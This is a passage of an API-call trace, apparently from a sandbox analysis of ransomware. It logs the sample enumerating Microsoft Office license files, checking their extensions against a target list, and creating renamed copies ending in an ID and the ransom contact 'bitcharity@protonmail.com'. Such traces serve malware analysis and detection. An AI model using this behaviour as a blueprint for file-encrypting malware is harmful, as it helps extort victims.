(lpString1=".dbf", lpString2="m-ms") returned -1 [0253.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms") returned 78 [0253.606] lstrlenW (lpString=".1cd") returned 4 [0253.606] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0253.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms") returned 78 [0253.606] lstrlenW (lpString=".jpg") returned 4 [0253.606] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0253.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms") returned 78 [0253.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms") returned 78 [0253.607] lstrlenW (lpString=".doc") returned 4 [0253.607] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0253.607] lstrlenW (lpString=".docx") returned 5 [0253.607] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0253.607] lstrlenW (lpString=".pdf") returned 4 [0253.607] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0253.607] lstrlenW (lpString=".xls") returned 4 [0253.607] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0253.607] lstrlenW (lpString=".xlsx") returned 5 [0253.607] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0253.607] lstrlenW (lpString=".ppt") returned 4 [0253.607] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0253.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms") returned 78 [0253.607] lstrlenW (lpString=".zip") returned 4 [0253.607] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0253.607] lstrlenW (lpString=".rar") returned 4 [0253.607] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0253.607] lstrlenW (lpString=".bz2") returned 4 [0253.607] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0253.607] lstrlenW (lpString=".7z") returned 3 [0253.608] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0253.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms") returned 78 [0253.608] lstrlenW (lpString=".dbf") returned 4 [0253.608] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0253.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms") returned 78 [0253.608] lstrlenW (lpString=".1cd") returned 4 [0253.608] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0253.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms") returned 78 [0253.608] lstrlenW (lpString=".jpg") returned 4 [0253.608] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0253.608] lstrcmpiW (lpString1=".xrm-ms", lpString2=".com") returned 1 [0253.608] lstrlenW (lpString="VisioProCO365R_Subscription-pl.xrm-ms") returned 37 [0253.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1234 [0253.610] GetFileSizeEx (in: hFile=0x1234, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=11199) returned 1 [0253.610] CloseHandle (hObject=0x1234) returned 1 [0253.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-pl.xrm-ms")) returned 0x220 [0253.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0253.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1234 [0253.611] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.611] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.611] CloseHandle (hObject=0x1234) returned 1 [0253.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms") returned 87 [0253.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms") returned 87 [0253.611] lstrlenW (lpString=".doc") returned 4 [0253.611] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0253.611] lstrlenW (lpString=".docx") returned 5 [0253.612] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0253.612] lstrlenW (lpString=".pdf") returned 4 [0253.612] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0253.612] lstrlenW (lpString=".xls") returned 4 [0253.612] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0253.612] lstrlenW (lpString=".xlsx") returned 5 [0253.612] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0253.612] lstrlenW (lpString=".ppt") returned 4 [0253.612] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0253.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms") returned 87 [0253.612] lstrlenW (lpString=".zip") returned 4 [0253.612] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0253.612] lstrlenW (lpString=".rar") returned 4 [0253.612] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0253.612] lstrlenW (lpString=".bz2") returned 4 [0253.612] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0253.612] lstrlenW (lpString=".7z") returned 3 [0253.612] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0253.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms") returned 87 [0253.613] lstrlenW (lpString=".dbf") returned 4 [0253.613] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0253.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms") returned 87 [0253.613] lstrlenW (lpString=".1cd") returned 4 [0253.613] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0253.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms") returned 87 [0253.613] lstrlenW (lpString=".jpg") returned 4 [0253.613] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0253.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms") returned 87 [0253.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms") returned 87 [0253.613] lstrlenW (lpString=".doc") returned 4 [0253.613] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0253.613] lstrlenW (lpString=".docx") returned 5 [0253.613] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0253.613] lstrlenW (lpString=".pdf") returned 4 [0253.613] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0253.613] lstrlenW (lpString=".xls") returned 4 [0253.613] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0253.613] lstrlenW (lpString=".xlsx") returned 5 [0253.614] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0253.614] lstrlenW (lpString=".ppt") returned 4 [0253.614] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0253.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms") returned 87 [0253.614] lstrlenW (lpString=".zip") returned 4 [0253.614] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0253.614] lstrlenW (lpString=".rar") returned 4 [0253.614] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0253.614] lstrlenW (lpString=".bz2") returned 4 [0253.614] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0253.614] lstrlenW (lpString=".7z") returned 3 [0253.614] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0253.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms") returned 87 [0253.614] lstrlenW (lpString=".dbf") returned 4 [0253.614] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0253.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms") returned 87 [0253.614] lstrlenW (lpString=".1cd") returned 4 [0253.614] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0253.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms") returned 87 [0253.614] lstrlenW (lpString=".jpg") returned 4 [0253.615] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0253.615] lstrcmpiW (lpString1=".xrm-ms", lpString2=".com") returned 1 [0253.615] lstrlenW (lpString="VisioProCO365R_Subscription-ppd.xrm-ms") returned 38 [0253.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1234 [0253.615] GetFileSizeEx (in: hFile=0x1234, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=21413) returned 1 [0253.615] CloseHandle (hObject=0x1234) returned 1 [0253.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ppd.xrm-ms")) returned 0x220 [0253.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0253.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1234 [0253.616] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.616] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.617] CloseHandle (hObject=0x1234) returned 1 [0253.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms") returned 88 [0253.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms") returned 88 [0253.617] lstrlenW (lpString=".doc") returned 4 [0253.617] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0253.617] lstrlenW (lpString=".docx") returned 5 [0253.617] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0253.617] lstrlenW (lpString=".pdf") returned 4 [0253.617] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0253.617] lstrlenW (lpString=".xls") returned 4 [0253.617] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0253.617] lstrlenW (lpString=".xlsx") returned 5 [0253.617] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0253.617] lstrlenW (lpString=".ppt") returned 4 [0253.617] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0253.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms") returned 88 [0253.618] lstrlenW (lpString=".zip") returned 4 [0253.618] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0253.618] lstrlenW (lpString=".rar") returned 4 [0253.618] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0253.618] lstrlenW (lpString=".bz2") returned 4 [0253.618] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0253.618] lstrlenW (lpString=".7z") returned 3 [0253.618] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0253.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms") returned 88 [0253.618] lstrlenW (lpString=".dbf") returned 4 [0253.618] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0253.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms") returned 88 [0253.618] lstrlenW (lpString=".1cd") returned 4 [0253.618] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0253.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms") returned 88 [0253.618] lstrlenW (lpString=".jpg") returned 4 [0253.618] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0253.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms") returned 88 [0253.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms") returned 88 [0253.619] lstrlenW (lpString=".doc") returned 4 [0253.619] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0253.619] lstrlenW (lpString=".docx") returned 5 [0253.619] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0253.619] lstrlenW (lpString=".pdf") returned 4 [0253.619] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0253.619] lstrlenW (lpString=".xls") returned 4 [0253.619] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0253.619] lstrlenW (lpString=".xlsx") returned 5 [0253.619] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0253.619] lstrlenW (lpString=".ppt") returned 4 [0253.619] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0253.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms") returned 88 [0253.619] lstrlenW (lpString=".zip") returned 4 [0253.619] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0253.619] lstrlenW (lpString=".rar") returned 4 [0253.619] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0253.620] lstrlenW (lpString=".bz2") returned 4 [0253.620] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0253.620] lstrlenW (lpString=".7z") returned 3 [0253.620] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0253.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms") returned 88 [0253.620] lstrlenW (lpString=".dbf") returned 4 [0253.620] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0253.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms") returned 88 [0253.620] lstrlenW (lpString=".1cd") returned 4 [0253.620] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0253.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms") returned 88 [0253.620] lstrlenW (lpString=".jpg") returned 4 [0253.620] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0253.620] lstrcmpiW (lpString1=".xrm-ms", lpString2=".com") returned 1 [0253.620] lstrlenW (lpString="VisioProCO365R_Subscription-ul-oob.xrm-ms") returned 41 [0253.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1234 [0253.621] GetFileSizeEx (in: hFile=0x1234, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=11644) returned 1 [0253.621] CloseHandle (hObject=0x1234) returned 1 [0253.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ul-oob.xrm-ms")) returned 0x220 [0253.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0253.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1234 [0253.622] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.622] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.622] CloseHandle (hObject=0x1234) returned 1 [0253.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms") returned 91 [0253.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms") returned 91 [0253.622] lstrlenW (lpString=".doc") returned 4 [0253.622] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0253.622] lstrlenW (lpString=".docx") returned 5 [0253.622] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0253.622] lstrlenW (lpString=".pdf") returned 4 [0253.622] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0253.622] lstrlenW (lpString=".xls") returned 4 [0253.622] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0253.622] lstrlenW (lpString=".xlsx") returned 5 [0253.623] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0253.623] lstrlenW (lpString=".ppt") returned 4 [0253.623] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0253.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms") returned 91 [0253.623] lstrlenW (lpString=".zip") returned 4 [0253.623] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0253.623] lstrlenW (lpString=".rar") returned 4 [0253.623] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0253.623] lstrlenW (lpString=".bz2") returned 4 [0253.623] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0253.623] lstrlenW (lpString=".7z") returned 3 [0253.623] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0253.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms") returned 91 [0253.623] lstrlenW (lpString=".dbf") returned 4 [0253.623] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0253.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms") returned 91 [0253.623] lstrlenW (lpString=".1cd") returned 4 [0253.623] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0253.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms") returned 91 [0253.623] lstrlenW (lpString=".jpg") returned 4 [0253.623] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0253.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms") returned 91 [0253.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms") returned 91 [0253.623] lstrlenW (lpString=".doc") returned 4 [0253.623] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0253.623] lstrlenW (lpString=".docx") returned 5 [0253.623] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0253.624] lstrlenW (lpString=".pdf") returned 4 [0253.624] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0253.624] lstrlenW (lpString=".xls") returned 4 [0253.624] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0253.624] lstrlenW (lpString=".xlsx") returned 5 [0253.624] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0253.624] lstrlenW (lpString=".ppt") returned 4 [0253.624] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0253.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms") returned 91 [0253.624] lstrlenW (lpString=".zip") returned 4 [0253.624] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0253.624] lstrlenW (lpString=".rar") returned 4 [0253.624] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0253.624] lstrlenW (lpString=".bz2") returned 4 [0253.624] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0253.624] lstrlenW (lpString=".7z") returned 3 [0253.624] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0253.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms") returned 91 [0253.624] lstrlenW (lpString=".dbf") returned 4 [0253.624] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0253.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms") returned 91 [0253.624] lstrlenW (lpString=".1cd") returned 4 [0253.624] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0253.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms") returned 91 [0253.624] lstrlenW (lpString=".jpg") returned 4 [0253.624] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0253.625] lstrcmpiW (lpString1=".xrm-ms", lpString2=".com") returned 1 [0253.625] lstrlenW (lpString="VisioProCO365R_SubTest-pl.xrm-ms") returned 32 [0253.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1234 [0253.625] GetFileSizeEx (in: hFile=0x1234, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=11179) returned 1 [0253.625] CloseHandle (hObject=0x1234) returned 1 [0253.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-pl.xrm-ms")) returned 0x220 [0253.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0253.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1234 [0253.626] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.626] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 